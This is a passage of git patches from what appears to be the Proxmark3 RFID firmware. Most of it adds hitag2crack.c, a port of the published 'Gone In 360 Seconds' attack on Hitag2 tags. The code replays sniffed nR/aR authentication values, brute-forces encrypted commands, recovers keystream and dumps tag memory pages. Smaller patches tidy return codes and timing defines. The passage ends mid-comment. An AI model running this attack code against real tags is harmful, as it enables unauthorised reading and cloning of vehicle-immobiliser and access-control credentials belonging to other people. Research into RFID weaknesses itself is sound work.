CmdTraceList("hitag"); - return 0; + return PM3_SUCCESS; /* uint8_t *got = calloc(PM3_CMD_DATA_SIZE, sizeof(uint8_t)); if (!got) { PrintAndLogEx(WARNING, "Cannot allocate memory for trace"); - return 2; + return PM3_EMALLOC; } // Query for the actual size of the trace @@ -139,7 +139,7 @@ static int CmdLFHitagList(const char *Cmd) { if (!GetFromDevice(BIG_BUF, got, PM3_CMD_DATA_SIZE, 0, NULL, 0, &response, 2500, false)) { PrintAndLogEx(WARNING, "command execution time out"); free(got); - return 2; + return PM3_ETIMEOUT; } uint16_t traceLen = response.arg[2]; @@ -148,13 +148,13 @@ static int CmdLFHitagList(const char *Cmd) { if (p == NULL) { PrintAndLogEx(WARNING, "Cannot allocate memory for trace"); free(got); - return 2; + return PM3_EMALLOC; } got = p; if (!GetFromDevice(BIG_BUF, got, traceLen, 0, NULL, 0, NULL, 2500, false)) { PrintAndLogEx(WARNING, "command execution time out"); free(got); - return 2; + return PM3_ETIMEOUT; } } @@ -251,7 +251,7 @@ static int CmdLFHitagList(const char *Cmd) { } free(got); - return 0; + return PM3_SUCCES; */ } @@ -262,7 +262,7 @@ static int CmdLFHitagSniff(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_LF_HITAG_SNIFF, NULL, 0); - return 0; + return PM3_SUCCESS; } static int CmdLFHitagSim(const char *Cmd) { @@ -343,7 +343,7 @@ static int CmdLFHitagSim(const char *Cmd) { } free(data); - return 0; + return PM3_SUCCESS; } static void printHitagConfiguration(uint8_t config) { @@ -487,13 +487,11 @@ static int CmdLFHitagInfo(const char *Cmd) { PrintAndLogEx(SUCCESS, "UID: " _YELLOW_("%08X"), uid); - return PM3_SUCCESS; // how to detemine Hitag types? // read block3, get configuration byte. - PrintAndLogEx(FAILED, _RED_("TODO: This is a hardcoded example!")); // common configurations. - printHitagConfiguration(0x06); + // printHitagConfiguration(0x06); //printHitagConfiguration( 0x0E ); //printHitagConfiguration( 0x02 ); //printHitagConfiguration( 0x00 ); @@ -577,6 +575,8 @@ static int CmdLFHitagReader(const char *Cmd) { fnameptr += sprintf(fnameptr, "lf-hitag-"); FillFileNameByUID(fnameptr, data, "-dump", 4); + + saveFile(filename, ".bin", data, 48); saveFileEML(filename, data, 48, 4); saveFileJSON(filename, jsfHitag, data, 48); @@ -633,7 +633,7 @@ static int CmdLFHitagCheckChallenges(const char *Cmd) { SendCommandMIX(CMD_LF_HITAGS_TEST_TRACES, 0, 0, 0, NULL, 0); free(data); - return 0; + return PM3_SUCCESS; } static int CmdLFHitagWriter(const char *Cmd) { @@ -677,14 +677,14 @@ static int CmdLFHitagWriter(const char *Cmd) { PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_ACK, &resp, 4000)) { PrintAndLogEx(WARNING, "timeout while waiting for reply."); - return 1; + return PM3_ETIMEOUT; } if (resp.oldarg[0] == false) { PrintAndLogEx(DEBUG, "DEBUG: Error - hitag write failed"); - return 1; + return PM3_ESOFT; } - return 0; + return PM3_SUCCESS; } /* @@ -694,7 +694,7 @@ static int CmdLFHitagDump(const char *Cmd) { char ctmp = tolower(param_getchar(Cmd, 0)); if (ctmp == 'h') return usage_hitag_dump(); - return 0; + return PM3_SUCCESS; } */ @@ -713,7 +713,7 @@ static command_t CommandTable[] = { static int CmdHelp(const char *Cmd) { (void)Cmd; // Cmd is not used so far CmdsHelp(CommandTable); - return 0; + return PM3_SUCCESS; } int CmdLFHitag(const char *Cmd) { From 56bb7f21dc75cc53bc2d3470e1c96ba3a55a9475 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 17 Jan 2020 14:25:28 +0100 Subject: [PATCH 339/418] rename define T0 --- armsrc/hitag2.c | 33 +++++++++++++++++---------------- 1 file changed, 17 insertions(+), 16 deletions(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index f27a9cf5e..158ffa095 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -18,6 +18,7 @@ // Piwi, 2019 // Iceman, 2019 // Anon, 2019 +// Doegos, 2020 #include "hitag2.h" #include "hitag2_crypto.h" @@ -101,8 +102,8 @@ static int hitag2_init(void) { // TIMER_CLOCK1 = MCK/2, MCK is running at 48 MHz, Timer is running at 48/2 = 24 MHz // Hitag units (T0) have duration of 8 microseconds (us), which is 1/125000 per second (carrier) // T0 = TIMER_CLOCK1 / 125000 = 192 -#ifndef T0 -#define T0 192 +#ifndef HITAG_T0 +#define HITAG_T0 192 #endif #define HITAG_FRAME_LEN 20 @@ -141,15 +142,15 @@ static void hitag_send_bit(int bit) { if (bit == 0) { // Manchester: Unloaded, then loaded |__--| LOW(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_TAG_HALF_PERIOD); + while (AT91C_BASE_TC0->TC_CV < HITAG_T0 * HITAG_T_TAG_HALF_PERIOD); HIGH(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_TAG_FULL_PERIOD); + while (AT91C_BASE_TC0->TC_CV < HITAG_T0 * HITAG_T_TAG_FULL_PERIOD); } else { // Manchester: Loaded, then unloaded |--__| HIGH(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_TAG_HALF_PERIOD); + while (AT91C_BASE_TC0->TC_CV < HITAG_T0 * HITAG_T_TAG_HALF_PERIOD); LOW(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_TAG_FULL_PERIOD); + while (AT91C_BASE_TC0->TC_CV < HITAG_T0 * HITAG_T_TAG_FULL_PERIOD); } LED_A_OFF(); } @@ -1123,11 +1124,11 @@ void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data) { WDT_HIT(); // Receive frame, watch for at most T0*EOF periods - while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_EOF) { + while (AT91C_BASE_TC1->TC_CV < HITAG_T0 * HITAG_T_EOF) { // Check if rising edge in modulation is detected if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { // Retrieve the new timing values - int ra = (AT91C_BASE_TC1->TC_RA / T0) + overflow; + int ra = (AT91C_BASE_TC1->TC_RA / HITAG_T0) + overflow; overflow = 0; // Reset timer every frame, we have to capture the last edge for timing @@ -1172,7 +1173,7 @@ void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data) { // with respect to the falling edge, we need to wait actually (T_Wait1 - T_Low) // periods. The gap time T_Low varies (4..10). All timer values are in // terms of T0 units - while (AT91C_BASE_TC0->TC_CV < T0 * (HITAG_T_WAIT_1_MIN - HITAG_T_LOW)); + while (AT91C_BASE_TC0->TC_CV < HITAG_T0 * (HITAG_T_WAIT_1_MIN - HITAG_T_LOW)); // Send and store the tag answer (if there is any) if (txlen) { @@ -1191,7 +1192,7 @@ void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data) { // Reset the frame length rxlen = 0; // Save the timer overflow, will be 0 when frame was received - overflow += (AT91C_BASE_TC1->TC_CV / T0); + overflow += (AT91C_BASE_TC1->TC_CV / HITAG_T0); // Reset the timer to restart while-loop that receives frames AT91C_BASE_TC1->TC_CCR = AT91C_TC_SWTRG; } @@ -1740,7 +1741,7 @@ void WriterHitag(hitag_function htf, hitag_data *htd, int page) { // falling edge occurred halfway the period. with respect to this falling edge, // we need to wait (T_Wait2 + half_tag_period) when the last was a 'one'. // All timer values are in terms of T0 units - while (AT91C_BASE_TC0->TC_CV < T0 * (t_wait + (HITAG_T_TAG_HALF_PERIOD * lastbit))) {}; + while (AT91C_BASE_TC0->TC_CV < HITAG_T0 * (t_wait + (HITAG_T_TAG_HALF_PERIOD * lastbit))) {}; // Transmit the reader frame hitag_reader_send_frame(tx, txlen); @@ -1764,11 +1765,11 @@ void WriterHitag(hitag_function htf, hitag_data *htd, int page) { uint32_t errorCount = 0; // Receive frame, watch for at most T0*EOF periods - while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_WAIT_MAX) { + while (AT91C_BASE_TC1->TC_CV < HITAG_T0 * HITAG_T_WAIT_MAX) { // Check if falling edge in tag modulation is detected if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { // Retrieve the new timing values - int ra = (AT91C_BASE_TC1->TC_RA / T0); + int ra = (AT91C_BASE_TC1->TC_RA / HITAG_T0); // Reset timer every frame, we have to capture the last edge for timing AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; @@ -1835,7 +1836,7 @@ void WriterHitag(hitag_function htf, hitag_data *htd, int page) { if (errorCount > 100) break; // We can break this loop if we received the last bit from a frame - if (AT91C_BASE_TC1->TC_CV > T0 * HITAG_T_EOF) { + if (AT91C_BASE_TC1->TC_CV > HITAG_T0 * HITAG_T_EOF) { if (rxlen > 0) break; } } @@ -1843,7 +1844,7 @@ void WriterHitag(hitag_function htf, hitag_data *htd, int page) { // Wait some extra time for flash to be programmed if ((rxlen == 0) && (writestate == WRITE_STATE_PROG)) { AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - while (AT91C_BASE_TC0->TC_CV < T0 * (HITAG_T_PROG - HITAG_T_WAIT_MAX)); + while (AT91C_BASE_TC0->TC_CV < HITAG_T0 * (HITAG_T_PROG - HITAG_T_WAIT_MAX)); } } @@ -1856,5 +1857,5 @@ void WriterHitag(hitag_function htf, hitag_data *htd, int page) { StartTicks(); - reply_old(CMD_ACK, bSuccessful, 0, 0, (uint8_t *)tag.sectors, 48); + reply_mix(CMD_ACK, bSuccessful, 0, 0, (uint8_t *)tag.sectors, 48); } From f25beac361f2032c3c8fab4185a8472baae36d70 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 17 Jan 2020 14:25:57 +0100 Subject: [PATCH 340/418] less checks in time critical loops --- armsrc/lfadc.c | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/armsrc/lfadc.c b/armsrc/lfadc.c index c715020a2..eaaa38631 100644 --- a/armsrc/lfadc.c +++ b/armsrc/lfadc.c @@ -22,7 +22,7 @@ // as a counting signal. TIMER_CLOCK3 = MCK/32, MCK is running at 48 MHz, so the timer is running at 48/32 = 1500 kHz // Carrier period (T0) have duration of 8 microseconds (us), which is 1/125000 per second (125 kHz frequency) // T0 = timer/carrier = 1500kHz/125kHz = 1500000/125000 = 6 -#define T0 3 +//#define HITAG_T0 3 ////////////////////////////////////////////////////////////////////////////// // Global variables @@ -52,9 +52,21 @@ size_t lf_count_edge_periods_ex(size_t max, bool wait, bool detect_gap) { volatile uint8_t adc_val; //uint8_t avg_peak = 140, avg_through = 96; uint8_t avg_peak = 130, avg_through = 106; + int16_t checked = 0; + + while (true) { + + // only every 1000th times, in order to save time when collecting samples. + if (checked == 1000) { + if (BUTTON_PRESS() || data_available()) { + checked = -1; + break; + } else { + checked = 0; + } + } + ++checked; - while (!BUTTON_PRESS()) { - // Watchdog hit WDT_HIT(); if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { From df5083603c9cb98e0a3b11273110293d68e7f5d0 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 17 Jan 2020 15:02:21 +0100 Subject: [PATCH 341/418] first attempt --- armsrc/hitag2crack.c | 923 +++++++++++++++++++++++++++++++++++++++++++ armsrc/hitag2crack.h | 31 ++ 2 files changed, 954 insertions(+) create mode 100644 armsrc/hitag2crack.c create mode 100644 armsrc/hitag2crack.h diff --git a/armsrc/hitag2crack.c b/armsrc/hitag2crack.c new file mode 100644 index 000000000..c6b61b019 --- /dev/null +++ b/armsrc/hitag2crack.c @@ -0,0 +1,923 @@ +//----------------------------------------------------------------------------- +// Kevin Sheldrake , Aug 2018 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +// +// iceman, Jan, 2020 +// doegox, Jan, 2020 +//----------------------------------------------------------------------------- +// hitag2 attack functions +//----------------------------------------------------------------------------- + +#include "hitagcrypto.h" +#include "hitag2crack.h" + +#define READP0CMD "1100000111" +#define ERROR_RESPONSE "F402889C" + +extern const uint8_t Hitag2Sync[5]; +extern bool CryptoActive; +extern Hitag_State Hitag_Crypto_State; + +// hitag2_crack implements the first crack algorithm described in the paper, +// Gone In 360 Seconds by Verdult, Garcia and Balasch. +// response is a multi-line text response containing the 8 pages of the +// cracked tag; +// nrarhex is a string containing hex representations of the 32 bit nR and aR +// values (separated by a space) snooped using SNIFF-PWM. +bool hitag2_crack(uint8_t *response, uint8_t *nrarhex) { + uint8_t uidhex[9]; + uint8_t uid[32]; + uint8_t nrar[64]; + uint8_t e_firstcmd[10]; + uint8_t e_page0cmd[10]; + uint8_t keybits[42]; + uint8_t pagehex[9]; + uint8_t temp[20]; + int i; + uint8_t *spaceptr = NULL; + + // get uid as hexstring + if(!hitag2_get_uid(uidhex)) + { + UserMessage("Cannot get UID\r\n"); + return false; + } + + // convert uid hexstring to binarray + hextobinarray(uid, uidhex); + + // convert nR and aR hexstrings to binarray + spaceptr = strchr(nrarhex, ' '); + if (!spaceptr) + { + UserMessage("Please supply a valid nR aR pair\r\n"); + return false; + } + *spaceptr = 0x00; + + if (hextobinarray(nrar, nrarhex) != 32) + { + UserMessage("nR is not 32 bits long\r\n"); + return false; + } + + if (hextobinarray(nrar + 32, spaceptr + 1) != 32) + { + UserMessage("aR is not 32 bits long\r\n"); + return false; + } + + // find a valid encrypted command + if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar)) + { + UserMessage("Cannot find a valid encrypted command\r\n"); + return false; + } + + // find the 'read page 0' command and recover key stream + if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid)) + { + UserMessage("Cannot find encrypted 'read page0' command\r\n"); + return false; + } + + // empty the response string + response[0] = 0x00; + + // read all pages using key stream + for (i=0; i<8; i++) + { + if (hitag2crack_read_page(pagehex, i, nrar, keybits)) + { + sprintf(temp, "%1d: %s\r\n", i, pagehex); + } + else + { + sprintf(temp, "%1d:\r\n", i); + } + // add page string to response + strcat(response, temp); + } + + return true; +} + +// hitag2crack_find_valid_e_cmd repeatedly replays the auth protocol each +// with a different sequential encrypted command value in order to find one +// that returns a valid response. +// e_cmd is the returned binarray of the valid encrypted command; +// nrar is the binarray of the 64 bit nR aR pair. +bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd[], uint8_t nrar[]) { + uint8_t guess[10]; + uint8_t responsestr[9]; + +// UserMessage("Finding valid encrypted command:"); + // we're going to hold bits 5, 7, 8 and 9 and brute force the rest + // e.g. x x x x x 0 x 0 0 0 + for (uint8_t a=0; a<2; a++) { + for (uint8_t b=0; b<2; b++) { + for (uint8_t c=0; c<2; c++) { + for (uint8_t d=0; d<2; d++) { + for (uint8_t e=0; e<2; e++) { + for (uint8_t g=0; g<2; g++) { + // build binarray + guess[0] = a; + guess[1] = b; + guess[2] = c; + guess[3] = d; + guess[4] = e; + guess[5] = 0; + guess[6] = g; + guess[7] = 0; + guess[8] = 0; + guess[9] = 0; + + // send guess + if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10)) { + // check if it was valid + if (strcmp(responsestr, ERROR_RESPONSE) != 0) { + // return the guess as the encrypted command + memcpy(e_cmd, guess, 10); + return true; + } + } else { +#ifdef RFIDLER_DEBUG + UserMessage("hitag2crack_find_valid_e_cmd:\r\n hitag2crack_send_e_cmd failed\r\n"); +#endif + } + UserMessage("."); + } + } + } + } + } + } +// UserMessage("hitag2crack_find_valid_e_cmd:\r\n no valid encrypted command found\r\n"); + return false; +} + +// hitag2crack_find_e_page0_cmd tries all bit-flipped combinations of the +// valid encrypted command and tests the results by attempting an extended +// command version of the command to see if that produces a valid response. +// keybits is the returned binarray of the recovered key stream; +// e_page0cmd is the returned binarray of the encrypted 'read page 0' command; +// e_firstcmd is the binarray of the first valid encrypted command found; +// nrar is the binarray of the 64 bit nR aR pair; +// uid is the binarray of the 32 bit UID. +bool hitag2crack_find_e_page0_cmd(uint8_t keybits[], uint8_t e_firstcmd[], uint8_t nrar[], uint8_t uid[]) { + uint8_t a, b, c, d; + uint8_t guess[10]; + uint8_t responsestr[9]; + uint8_t e_uid[32]; + + UserMessage("Finding 'read page 0' command:"); + // we're going to brute the missing 4 bits of the valid encrypted command + for (a=0; a<2; a++) + { + for (b=0; b<2; b++) + { + for (c=0; c<2; c++) + { + for (d=0; d<2; d++) + { + // create our guess by bit flipping the pattern of bits + // representing the inverted bit and the 3 page bits + // in both the non-inverted and inverted parts of the + // encrypted command. + memcpy(guess, e_firstcmd, 10); + if (a) + { + guess[5] = !guess[5]; + guess[0] = !guess[0]; + } + if (b) + { + guess[7] = !guess[7]; + guess[2] = !guess[2]; + } + if (c) + { + guess[8] = !guess[8]; + guess[3] = !guess[3]; + } + if (d) + { + guess[9] = !guess[9]; + guess[4] = !guess[4]; + } + + // try the guess + if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10)) + { + // check if it was valid + if (strcmp(responsestr, ERROR_RESPONSE) != 0) + { + // convert response to binarray + hextobinarray(e_uid, responsestr); + // test if the guess was 'read page 0' command + if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid)) + { + + return true; + } + } + else + { +#ifdef RFIDLER_DEBUG + UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n"); +#endif + } + } + else + { + #ifdef RFIDLER_DEBUG + UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd failed\r\n"); +#endif + } + UserMessage("."); + } + } + } + } + UserMessage("hitag2crack_find_e_page0_cmd:\r\n could not find encrypted 'read page 0' command\r\n"); + return false; +} + +// hitag2crack_test_e_p0cmd XORs the message (command + response) with the +// encrypted version to retrieve the key stream. It then uses this key stream +// to encrypt an extended version of the READP0CMD and tests if the response +// is valid. +// keybits is the returned binarray of the key stream; +// nrar is the 64 bit binarray of nR aR pair; +// e_cmd is the binarray of the encrypted command; +// uid is the binarray of the card UID; +// e_uid is the binarray of the encrypted version of the UID. +bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid) { + uint8_t cipherbits[42]; + uint8_t plainbits[42]; + uint8_t ext_cmd[40]; + uint8_t e_ext_cmd[40]; + uint8_t responsestr[9]; + int i; + + // copy encrypted cmd to cipherbits + memcpy(cipherbits, e_cmd, 10); + + // copy encrypted uid to cipherbits + memcpy(cipherbits + 10, e_uid, 32); + + // copy cmd to plainbits + binstringtobinarray(plainbits, READP0CMD); + + // copy uid to plainbits + memcpy(plainbits + 10, uid, 32); + + // xor the plainbits with the cipherbits to get keybits + hitag2crack_xor(keybits, plainbits, cipherbits, 42); + + // create extended cmd -> 4 * READP0CMD = 40 bits + for (i=0; i<4; i++) + { + binstringtobinarray(ext_cmd + (i * 10), READP0CMD); + } + + // xor extended cmd with keybits + hitag2crack_xor(e_ext_cmd, ext_cmd, keybits, 40); + + // send extended encrypted cmd + if (hitag2crack_send_e_cmd(responsestr, nrar, e_ext_cmd, 40)) + { + // test if it was valid + if (strcmp(responsestr, ERROR_RESPONSE) != 0) + { + return true; + } + } + else + { +#ifdef RFIDLER_DEBUG + UserMessage("hitag2crack_test_e_p0cmd:\r\n hitag2crack_send_e_cmd failed\r\n"); +#endif + } + + return false; + +} + +// hitag2crack_xor XORs the source with the pad to produce the target. +// source, target and pad are binarrays of length len. +void hitag2crack_xor(uint8_t *target, uint8_t *source, uint8_t *pad, unsigned int len) { + + for (int i=0; i 7)) + { + UserMessage("hitag2crack_read_page:\r\n invalid pagenum\r\n"); + return false; + } + + // create cmd + binstringtobinarray(cmd, READP0CMD); + if (pagenum & 0x1) + { + cmd[9] = !cmd[9]; + cmd[4] = !cmd[4]; + } + if (pagenum & 0x2) + { + cmd[8] = !cmd[8]; + cmd[3] = !cmd[3]; + } + if (pagenum & 0x4) + { + cmd[7] = !cmd[7]; + cmd[2] = !cmd[2]; + } + + // encrypt command + hitag2crack_xor(e_cmd, cmd, keybits, 10); + + // send encrypted command + if (hitag2crack_send_e_cmd(e_responsestr, nrar, e_cmd, 10)) + { + // check if it is valid + if (strcmp(e_responsestr, ERROR_RESPONSE) != 0) + { + // convert to binarray + hextobinarray(e_response, e_responsestr); + // decrypt response + hitag2crack_xor(response, e_response, keybits + 10, 32); + // convert to hexstring + binarraytohex(responsestr, response, 32); + return true; + } + else + { + UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n"); + } + } + else + { + UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd failed\r\n"); + } + + return false; +} + +// hitag2crack_send_e_cmd replays the auth and sends the given encrypted +// command. +// responsestr is the hexstring of the response to the command; +// nrar is the 64 bit binarray of the nR aR pair; +// cmd is the binarray of the encrypted command to send; +// len is the length of the encrypted command. +bool hitag2crack_send_e_cmd(uint8_t *responsestr, uint8_t *nrar, uint8_t *cmd, int len) { + uint8_t tmp[37]; + uint8_t uid[9]; + uint8_t e_page3str[9]; + int ret = 0; + + // get the UID + if(!hitag2_get_uid(uid)) + { + UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID\r\n"); + return false; + } + + // START_AUTH kills active crypto session + CryptoActive = false; + + // get the UID again + if(!hitag2_get_uid(uid)) + { + UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID (2nd time)\r\n"); + return false; + } + + // send nrar and receive (useless) encrypted page 3 value + if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false)) + { + UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx nrar failed\r\n"); + return false; + } + + // send encrypted command + if (!hitag2crack_tx_rx(responsestr, cmd, len, RWD_STATE_WAKING, false)) + { +#ifdef RFIDLER_DEBUG + UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx cmd failed\r\n"); +#endif + return false; + } + + return true; +} + +// hitag2crack_tx_rx transmits a message and receives a response. +// responsestr is the hexstring of the response; +// msg is the binarray of the message to send; +// state is the RWD state; +// reset indicates whether to reset RWD state after. +bool hitag2crack_tx_rx(uint8_t *responsestr, uint8_t *msg, int len, int state, bool reset) { + uint8_t tmp[37]; + int ret = 0; + + // START_AUTH kills active crypto session + CryptoActive= false; + + if(!rwd_send(msg, len, reset, BLOCK, state, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX)) + { + UserMessage("hitag2crack_tx_rx: rwd_send failed\r\n"); + return false; + } + + // skip 1/2 bit to synchronise manchester + HW_Skip_Bits = 1; + ret = read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 37, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY); + + // check if response was a valid length (5 sync bits + 32 bits response) + if (ret == 37) + { + // check sync bits + if (memcmp(tmp, Hitag2Sync, 5) != 0) + { + UserMessage("hitag2crack_tx_rx: no sync\r\n"); + return false; + } + + // convert response to hexstring + binarraytohex(responsestr, tmp + 5, 32); + return true; + } + else + { +#ifdef RFIDLER_DEBUG + UserMessage("hitag2crack_tx_rx: wrong rx len\r\n"); +#endif + return false; + } + return false; +} + + +bool hitag2crack_rng_init(uint8_t *response, uint8_t *input) { + uint64_t sharedkey; + uint32_t serialnum; + uint32_t initvector; + uint8_t *spaceptr; + uint8_t *dataptr; + + // extract vals from input + dataptr = input; + spaceptr = strchr(dataptr, ' '); + if (!spaceptr) + { + UserMessage("/r/nformat is 'sharedkey UID nR' in hex\r\n"); + return false; + } + + *spaceptr = 0x00; + + if (strlen(dataptr) != 12) + { + UserMessage("/r/nsharedkey should be 48 bits long (12 hexchars)\r\n"); + return false; + } + + sharedkey = rev64(hexreversetoulonglong(dataptr)); + + dataptr = spaceptr+1; + spaceptr = strchr(dataptr, ' '); + if (!spaceptr) + { + UserMessage("/r/nno UID\r\n"); + return false; + } + + *spaceptr = 0x00; + if (strlen(dataptr) != 8) + { + UserMessage("/r/nUID should be 32 bits long (8 hexchars)\r\n"); + return false; + } + + serialnum = rev32(hexreversetoulong(dataptr)); + + dataptr = spaceptr+1; + + if (strlen(dataptr) != 8) + { + UserMessage("/r/nnR should be 32 bits long (8 hexchars)\r\n"); + return false; + } + + initvector = rev32(hexreversetoulong(dataptr)); + + // start up crypto engine + hitag2_init(&Hitag_Crypto_State, sharedkey, serialnum, initvector); + + strcpy(response, "Success\r\n"); + + return true; +} + +bool hitag2crack_decrypt_hex(uint8_t *response, uint8_t *hex) { + uint8_t bin[32]; + uint8_t binhex[9]; + uint8_t binstr[33]; + uint32_t binulong; + + if (strlen(hex) != 8) + { + UserMessage("/r/nhex must be 32bits (8 hex chars)\r\n"); + return false; + } + + binulong = hextoulong(hex); + + ulongtobinarray(bin, hitag2_crypt(binulong, 32), 32); + binarraytobinstring(binstr, bin, 32); + binarraytohex(binhex, bin, 32); +// UserMessage("ar = %s\r\n", binstr); +// UserMessage("arhex = %s\r\n", binhex); + + strcpy(response, binhex); + return true; +} + +bool hitag2crack_decrypt_bin(uint8_t *response, uint8_t *e_binstr) { + uint8_t bin[32]; + uint8_t e_bin[32]; + uint8_t binstr[33]; + uint32_t binulong; + int len; + + len = strlen(e_binstr); + if (len > 32) + { + UserMessage("\r\nbinary string must be <= 32 bits\r\n"); + return false; + } + + binstringtobinarray(e_bin, e_binstr); + binulong = binarraytoulong(e_bin, len); + + ulongtobinarray(bin, hitag2_crypt(binulong, len), len); + binarraytobinstring(binstr, bin, len); + strcpy(response, binstr); + return true; +} + +bool hitag2crack_encrypt_hex(uint8_t *response, uint8_t *hex) { + // XOR pad so encrypt == decrypt :) + return hitag2crack_decrypt_hex(response, hex); +} + +bool hitag2crack_encrypt_bin(uint8_t *response, uint8_t *e_binstr) { + return hitag2crack_decrypt_bin(response, e_binstr); +} + +// hitag2_keystream uses the first crack algorithm described in the paper, +// Gone In 360 Seconds by Verdult, Garcia and Balasch, to retrieve 2048 bits +// of keystream. +// response is a multi-line text response containing the hex of the keystream; +// nrarhex is a string containing hex representations of the 32 bit nR and aR +// values (separated by a space) snooped using SNIFF-PWM. +bool hitag2_keystream(uint8_t *response, uint8_t *nrarhex) { + uint8_t uidhex[9]; + uint8_t uid[32]; + uint8_t nrar[64]; + uint8_t e_firstcmd[10]; + uint8_t e_page0cmd[10]; +// uint8_t keybits[2080]; + uint8_t *keybits = DataBuff; + uint8_t keybitshex[67]; + int kslen; + int ksoffset; + uint8_t pagehex[9]; + uint8_t temp[20]; + int i; + uint8_t *spaceptr = NULL; + +/* + keybits = malloc(2080); + if (!keybits) { + UserMessage("cannot malloc keybits\r\n"); + return false; + } +*/ + + // get uid as hexstring + if(!hitag2_get_uid(uidhex)) + { + UserMessage("Cannot get UID\r\n"); + return false; + } + + // convert uid hexstring to binarray + hextobinarray(uid, uidhex); + + // convert nR and aR hexstrings to binarray + spaceptr = strchr(nrarhex, ' '); + if (!spaceptr) + { + UserMessage("Please supply a valid nR aR pair\r\n"); + return false; + } + *spaceptr = 0x00; + + if (hextobinarray(nrar, nrarhex) != 32) + { + UserMessage("nR is not 32 bits long\r\n"); + return false; + } + + if (hextobinarray(nrar + 32, spaceptr + 1) != 32) + { + UserMessage("aR is not 32 bits long\r\n"); + return false; + } + + // find a valid encrypted command + if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar)) + { + UserMessage("Cannot find a valid encrypted command\r\n"); + return false; + } + + // find the 'read page 0' command and recover key stream + if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid)) + { + UserMessage("Cannot find encrypted 'read page0' command\r\n"); + return false; + } + + // using the 40 bits of keystream in keybits, sending commands with ever + // increasing lengths to acquire 2048 bits of key stream. + kslen = 40; + + while (kslen < 2048) + { + ksoffset = 0; + if (!hitag2crack_send_auth(nrar)) + { + UserMessage("hitag2crack_send_auth failed\r\n"); + return false; + } + // while we have at least 52 bits of keystream, consume it with + // extended read page 0 commands. 52 = 10 (min command len) + + // 32 (response) + 10 (min command len we'll send) + while ((kslen - ksoffset) >= 52) + { + // consume the keystream, updating ksoffset as we go + if (!hitag2crack_consume_keystream(keybits, kslen, &ksoffset, nrar)) + { + UserMessage("hitag2crack_consume_keystream failed\r\n"); + return false; + } + } + // send an extended command to retrieve more keystream, updating kslen + // as we go + if (!hitag2crack_extend_keystream(keybits, &kslen, ksoffset, nrar, uid)) + { + UserMessage("hitag2crack_extend_keystream failed\r\n"); + return false; + } + UserMessage("Recovered %d bits of keystream\r\n", kslen); + + } + + for (i=0; i<2048; i+=256) + { + binarraytohex(keybitshex, keybits + i, 256); + UserMessage("%s\r\n", keybitshex); + } + + response[0] = 0x00; + + return true; +} + +// hitag2crack_send_auth replays the auth and returns. +// nrar is the 64 bit binarray of the nR aR pair; +bool hitag2crack_send_auth(uint8_t *nrar) { + uint8_t uid[9]; + uint8_t e_page3str[9]; + + // get the UID + if(!hitag2_get_uid(uid)) + { + UserMessage("hitag2crack_send_auth:\r\n cannot get UID\r\n"); + return false; + } + + // START_AUTH kills active crypto session + CryptoActive = false; + + // get the UID again + if(!hitag2_get_uid(uid)) + { + UserMessage("hitag2crack_send_auth:\r\n cannot get UID (2nd time)\r\n"); + return false; + } + + // send nrar and receive (useless) encrypted page 3 value + if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false)) + { + UserMessage("hitag2crack_send_auth:\r\n tx/rx nrar failed\r\n"); + return false; + } + return true; +} + +// hitag2crack_consume_keystream sends an extended command (up to 510 bits in 